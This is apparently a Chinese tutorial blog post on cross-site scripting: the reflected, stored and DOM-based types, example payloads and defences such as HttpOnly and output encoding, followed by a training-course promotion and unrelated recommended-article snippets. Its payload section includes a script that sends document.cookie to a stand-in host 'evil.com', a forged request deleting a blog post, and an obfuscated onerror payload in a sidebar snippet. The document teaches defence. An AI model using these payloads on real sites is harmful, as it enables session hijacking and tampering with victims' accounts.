Web安全之跨站脚本攻击(XSS)

【XSS】payload 常用构造和变形方法 XSS 相关 payload 构造和变形的常用方法。 阅读详情

XSS 简介

跨站脚本攻击,英文全称是 Cross Site Script,本来缩写是CSS,但是为了和层叠样式表(Cascading Style Sheet,CSS)有所区别,所以在安全领域叫做“XSS”。

XSS 攻击,通常指黑客利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,从而通过“HTML注入”篡改了网页,插入了恶意的脚本,然后在用户浏览网页时,控制用户浏览器(盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害)的一种攻击方式。

XSS 危害

  1. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  3. 盗窃企业重要的具有商业价值的资料

  4. 非法转账

  5. 强制发送电子邮件

  6. 网站挂马

  7. 控制受害者机器向其它网站发起攻击

XSS 分类

反射型 XSS

反射型 XSS 也叫做“非持久型XSS”(Non-per-sistent XSS),它是最常见的类型的 XSS。

反射型 XSS 只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。

简单例子

假设一个页面把用户输入的参数直接输出到页面上:

// test.php
<?php
    $input = $_GET["param"];
    echo "<div>".$input."</div>";
?> 
正常情况

用户向 param 提交的数据会展示到页面中,比如提交:

http://www.a.com/test.php?param=这是一个测试! 

这样在页面就会显示 这是一个测试!。

非正常情况

但是如果提交一段HTML代码:

http://www.a.com/test.php?param=<script>alert(/xss/)</script> 

此时页面源码以及嵌入 <script>alert(/xss/)</script>,那么 alert(/xss/) 将会在当前页面执行,而这显然不是开发者所希望看到的,对于黑客来说这样就完成了一次攻击了。

存储型 XSS

存储型 XSS 通常也叫做“持久型XSS”(Persistent XSS),因为从效果上来说,它存在的时间是比较长的。

存储型 XSS 会把用户输入的数据“存储”在服务器端。这种 XSS 具有很强的稳定性。

简单例子

假设在文章下面的评论区有这样的一个评论表单提交代码:

<input type="text" name="content" value="这里是用户填写的数据"> 
正常情况

用户提交正常的评论内容(如 “这是一篇好文章啊!”),然后该评论内容将存储到数据库中。等其他用户查看该文章时,从数据库将评论内容取出并显示。

非正常情况

黑客提交 <script>alert(/xss/)</script> 这样的评论内容,然后该评论内容将存储到数据库中。等其他用户查看该文章时,从数据库中取出并显示,此时浏览器将执行这段攻击代码。

DOM Based XSS

实际上,这种类型的 XSS 并非按照“数据是否保存在服务器端”来划分,DOM Based XSS 从效果上来说也是反射型 XSS。单独划分出来,是因为 DOM Based XSS 的形成原因比较特别,发现它的安全专家专门提出了这种类型的 XSS。出于历史原因,也就把它单独作为一个分类了。

DOM Based XSS 通过修改页面的 DOM 节点形成的 XSS。

简单例子
<script>
    function test(){
        var str = document.getElementById("text").value;
        document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
    }
</script>

<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" /> 
正常情况

点击“write”按钮后,会在当前页面插入一个超链接,其地址为文本框的内容。

非正常情况

在文本框输入 ' onclick=alert(/xss/) //,这样生成的超链接为 <a href='' onlick=alert(/xss/)//' >testLink</a>,原理就是用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符“//”注释掉第二个单引号。这样点击新生成的超链接,就会执行攻击代码了。

还有另外一种攻击方式,将 <a> 标签闭合掉,然后插入一个新的 HTML 标签,如下示例:

在文本框输入 '><img src=# onerror=alert(/xss2/) /><',这样生成的超链接变为 <a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>,图片加载失败之后就会执行攻击代码了。

XSS Payload

前文谈到了 XSS 的几种分类。接下来,就从攻击的角度来体验一下 XSS 的威力。

XSS 攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。

XSS Payload 实际上就是 JavaScript 脚本(还可以是 Flash 或其他富客户端的脚本),所以任何 JavaScript 脚本能实现的功能,XSS Payload 都能做到。

通过 XSS Payload 可以实现如下攻击:

Cookie 劫持

在当前的 Web 中,Cookie 一般是用户登录的凭证,浏览器发起的所有请求都会自动带上 Cookie。如果 Cookie 没有绑定客户端信息,当攻击者窃取了 Cookie 后,就可以不用密码登录进用户的账户。

攻击代码:

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img); 

这段代码在页面中插入了一张看不见的图片,同时把 document.cookie 对象作为参数发送到远程服务器,这样,就完成了一个简单的窃取 Cookie 的 XSS Payload。

然后使用窃取到的 Cookie 通过自定义 Cookie 的方式访问网站,达到登录目标用户的账户的目的。

构造 GET 与 POST 请求

一个网站通过 HTTP 协议中的 GET 或 POST 请求即可完成所有操作,因此可通过让浏览器对目标网站发起这两种请求来达到攻击的目的。

假设某个网站有这样的一个删除文章的请求:

http://www.test.com/blog/delete?id=156713012 

对于攻击者来说,只需要知道文章的 id,就能够通过这个请求删除这篇文章了。

攻击代码:

var img = document.createElement("img");
img.src = "http://www.test.com/blog/delete?id=156713012";
document.body.appendChild(img); 

攻击者只需要让博客的作者执行这段 JavaScript 代码(XSSPayload),就会把这篇文章删除。在具体攻击中,攻击者将通过 XSS 诱使用户执行 XSS Payload。

XSS 钓鱼

如果通过构造 POST 请求(表单提交)进行攻击时,在提交表单时要求用户输入验证码,那么一般的 XSS Payload 都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。

对于验证码,XSS Payload 可以通过读取页面内容,将验证码的图片 URL 发送到远程服务器上来实施——黑客可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的 XSS Payload,从而绕过验证码。

修改密码的问题稍微复杂点。为了窃取密码,攻击者可以将 XSS 与“钓鱼”相结合。实现思路很简单:利用 JavaScript 在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。

识别用户浏览器

  1. 读取浏览器的 UserAgent 对象。

  2. 由于浏览器之间的实现存在差异——不同的浏览器会各自实现一些独特的功能,而同一个浏览器的不同版本之间也可能会有细微差别。所以通过分辨这些浏览器之间的差异,就能准确地判断出浏览器版本,而几乎不会误报。这种方法比读取UserAgent要准确得多。

识别用户安装的软件

知道了用户使用的浏览器、操作系统后,进一步可以识别用户安装的软件。

在IE中,可以通过判断 ActiveX 控件的 classid 是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”——黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。

攻击代码:

try {
    var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
} catch (e) {
    // 异常了,不存在该控件
} 

这段代码检测迅雷的一个控件(“XunLeiBHO.Thun-derIEHelper”)是否存在。如果用户安装了迅雷软件,则默认也会安装此控件。因此通过判断此控件,即可推测用户安装了迅雷软件的可能性。

CSS History Hack

我们再看看另外一个有趣的 XSS Payload——通过 CSS,来发现一个用户曾经访问过的网站。其原理是利用 style 的 visited 属性——如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。

获取用户的真实 IP 地址

通过 XSS Payload 还有办法获取一些客户端的本地IP地址。

很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在 NAT 后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?

JavaScript 本身并没有提供获取本地IP地址的能力,有没有其他办法?一般来说,XSS 攻击需要借助第三方软件来完成。比如,客户端安装了 Java 环境(JRE),那么 XSS 就可以通过调用 Java Applet 的接口获取客户端的本地 IP 地址。

XSS 防御

HttpOnly

浏览器禁止页面的 JavaScript 访问带有 HttpOnly 属性的 Cookie。因此 HttpOnly 可以对抗 XSS 后的 Cookie 劫持攻击。

输入检查

常见的Web漏洞如 XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。

输入检查,在很多时候也被用于格式检查。例如,用户在网站注册时填写的用户名,会被要求只能为字母、数字的组合。比如“hello1234”是一个合法的用户名,而“hello#$^”就是一个非法的用户名。

又如注册时填写的电话、邮件、生日等信息,都有一定的格式规范。比如手机号码,应该是不长于16位的数字,且中国大陆地区的手机号码可能是13x、15x开头的,否则即为非法。

这些格式检查,有点像一种“白名单”,也可以让一些基于特殊字符的攻击失效。

输入检查的逻辑,必须放在服务器端代码中实现。如果只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器端代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源。

输出检查

既然“输入检查”存在这么多问题,那么“输出检查”又如何呢?

一般来说,除了富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。

安全编码函数

编码分为很多种,针对 HTML 代码的编码方式是 HtmlEn-code。

HtmlEncode 并非专用名词,它只是一种函数实现。它的作用是将字符转换成 HTMLEntities,对应的标准是 ISO-8859-1。

为了对抗 XSS,在 HtmlEncode 中要求至少转换以下字符:

& --> &amp;

< --> &lt;

>--> &gt;

" --> &quot;

' --> &#x27;&emsp;&emsp; &apos; 不推荐

/ --> &#x2F; 包含反斜线是因为它可能会闭合一些 HTML entity

JavaScript 的编码方式可以使用 JavascriptEncode。JavascriptEncode 与 HtmlEncode 的编码方法不同,它需要使用“\”对特殊字符进行转义。在对抗 XSS 时,还要求输出的变量必须在引号内部,以避免造成安全问题。比较下面两种写法:

var x = escapeJavascript($evil);
var y = '"'+escapeJavascript($evil)+'"'; 

如果 escapeJavascript() 函数只转义了几个危险字符,比如 ‘、”、<、>、\、&、# 等,那么上面的两行代码输出后可能会变成:

var x = 1;alert(2); // 执行了额外的代码
var y = "1;alert(2)"; // 安全 

所以要求使用 JavascriptEncode 的变量输出一定要在引号内。

可是很多开发者没有这个习惯怎么办?这就只能使用一个更加严格的 JavascriptEncode 函数来保证安全——除了数字、字母外的所有字符,都使用十六进制“\xHH”的方式进行编码。在本例中:

var x = 1;alert(2); 变为 var x = 1\x3balert\x282\x29; // 保证是安全的 

参考

《白帽子讲Web安全》



接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

手

跨站脚本攻击(XSS) XSS,为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。在一开始的时候,这种攻击的演示案例是跨域的,所以叫"跨站脚本"。但是发展到今天,由于JavaScript的强大功能基于网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因,XSS这个名字一直保留下来。(2)页面展示... 阅读详情

相关推荐

什么是跨站脚本 (XSS) 攻击?

这一次,教会xss攻击!!!!!!!

简介 2544

xss常用Payload总结

xss常用Payload总结 渗透测试时,常遇到页面输入框、留言板等输入交互点,大多是xss漏洞易出现的常见场景之一,记录几种常用的xss注入的姿势 1.img 注入 快速探测是否存在xss 1) <img src='x' onerror='alert(1)'> 2) <img src='x' onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))"> 2.iframe 注入 后台做了相

csd_ct的专栏 1万+

字轮式水表识别:工业级OCR预处理与模板匹配实战

字轮式水表识别属于典型工业视觉任务,其核心挑战在于真实场景干扰——玻璃反光、锈蚀纹理、指针遮挡和拍摄畸变,远超通用OCR的适用边界。技术原理上需摒弃端到端深度学习幻觉,转向物理建模驱动的分步 pipeline:基于HSV的反光抑制、频域带通滤波去锈、霍夫圆+几何先验定位ROI、Sauvola自适应二值化、归一化模板匹配(NCC)及多帧时序投票。该方案不依赖GPU与大模型,以OpenCV+NumPy实现轻量部署,在树莓派等边缘设备稳定运行,显著提升水务抄表准确率与鲁棒性,是工业OCR落地‘不能照搬Kaggle

weixin_30595035的博客 369

网络安全-跨站脚本攻击(XSS)的原理、攻击及防御

所用工具 Google出品:开源Web App漏洞测试环境:Firing Range 简介 跨站脚本攻击(全称Cross Site Scripting,为和CSS(层叠样式表)区分,简称为XSS)是指恶意攻击者在Web页面中插入恶意Script代码,当用户浏览网页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 xss是攻击客户端,最终受害者是用户,网站管理员也是用户之一。 xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过.

关注网络安全、云原生安全 4万+

Sentaurus TCAD 实战指南:几何、掺杂与物理模型对Ion/Ioff的协同调控

本文详细介绍了Sentaurus TCAD在器件仿真中的实战应用,重点解析了Ion(开态电流)与Ioff(关态电流)的协同优化方法。通过几何结构设计、掺杂工程和物理模型选择三大要素的精细调整,实现器件性能的显著提升。文章结合28nm和7nm工艺案例,展示了如何平衡Ion与Ioff的矛盾关系,为TCAD工程师提供实用指导。

weixin_29159711的博客 136

playwright-mcp 安装使用的详细教程

Playwright MCP 快速入门指南 Playwright MCP Server 是由微软开发的浏览器自动化服务,通过 MCP 协议为 AI/Agent/LLM 提供网页交互能力。它基于可访问性树而非屏幕截图,支持多种浏览器和运行模式。 安装要求: Node.js v18+ 命令行操作能力 支持 MCP 的客户端 安装方式: 通过 npx 快速启动:npx @playwright/mcp@latest 项目依赖安装:npm install @playwright/mcp 主要特性: 支持 Chrome

上善若水 8016

Web安全——跨站脚本攻击(XSS)

跨站脚本攻击(XSS)什么是XSS?一、XSS的分类1、反射型XSS2、存储型XSS3、DOM Based XSS二、跨站脚本的挖掘方法1、跨站脚本的核心挖掘思想2、跨站脚本的测试思路3、XSS探针4、跨站脚本的测试语句三、跨站脚本的攻击技巧1、窃取Cookie2、篡改网页3、网络钓鱼4、网络挂马5、BEEF四、防御跨站脚本攻击的技巧1、HttpOnly2、输入检查(1)输入过滤(2)输入验证3、输出检查4、内容安全策略(CSP)总结网安小白又又又来瞎咧咧了!!!如有不足,请多指教!!! 什么是XSS? 跨

Newscoo的博客 900

异步复位同步释放:如何确保复位信号的可靠性与时序安全

本文深入探讨了异步复位同步释放技术在数字电路设计中的关键作用,详细分析了复位信号的可靠性与时序安全问题。通过对比异步复位与同步复位的本质区别,揭示异步复位的优势与潜在风险,并提供了标准的Verilog实现方案。文章还涵盖了多时钟域下的复位同步策略、复位网络时序约束方法以及实际工程中的经验教训,为数字系统设计者提供了全面的复位信号处理指南。

weixin_29213655的博客 402

Web安全相关(一):跨站脚本攻击(XSS)

简介   跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的,比如获取用户的Cookie,导航到恶意网站,携带木马等。 ...

weixin_30379973的博客 162

使用 Unity Sentis 和 Compute Shader,det_10g.onnx 进行高效人脸五官定位

在计算机视觉领域,人脸五官定位是一个重要的任务。本文将介绍如何使用 Unity Sentis 和 Compute Shader,结合模型,实现高效的人脸五官定位。我们将详细讲解每一步骤,并提供完整的代码示例。

m0_55632444的博客 2395

立创开源TinyAWG:基于ZYNQ7010的35MHz带宽200MSa/s任意波形发生器设计与实现

本文详细解析了立创开源TinyAWG的设计与实现,这是一款基于ZYNQ7010芯片的低成本高性能任意波形发生器。项目实现了35MHz带宽和200MSa/s采样率,核心采用ARM+FPGA协同架构,FPGA负责高速DDS信号生成,ARM运行Linux并搭载LVGL图形界面。文章涵盖了硬件选型、电路设计、软件逻辑及性能测试,为复刻和学习ZYNQ系统设计、高速DAC应用提供了完整参考。

weixin_42576467的博客 437
上一篇: DDOS 攻击的防范教程 —— 阮一峰
下一篇: 常见 Web 安全攻防总结
heike_沧海
博客等级 码龄3年 4645粉丝 391原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值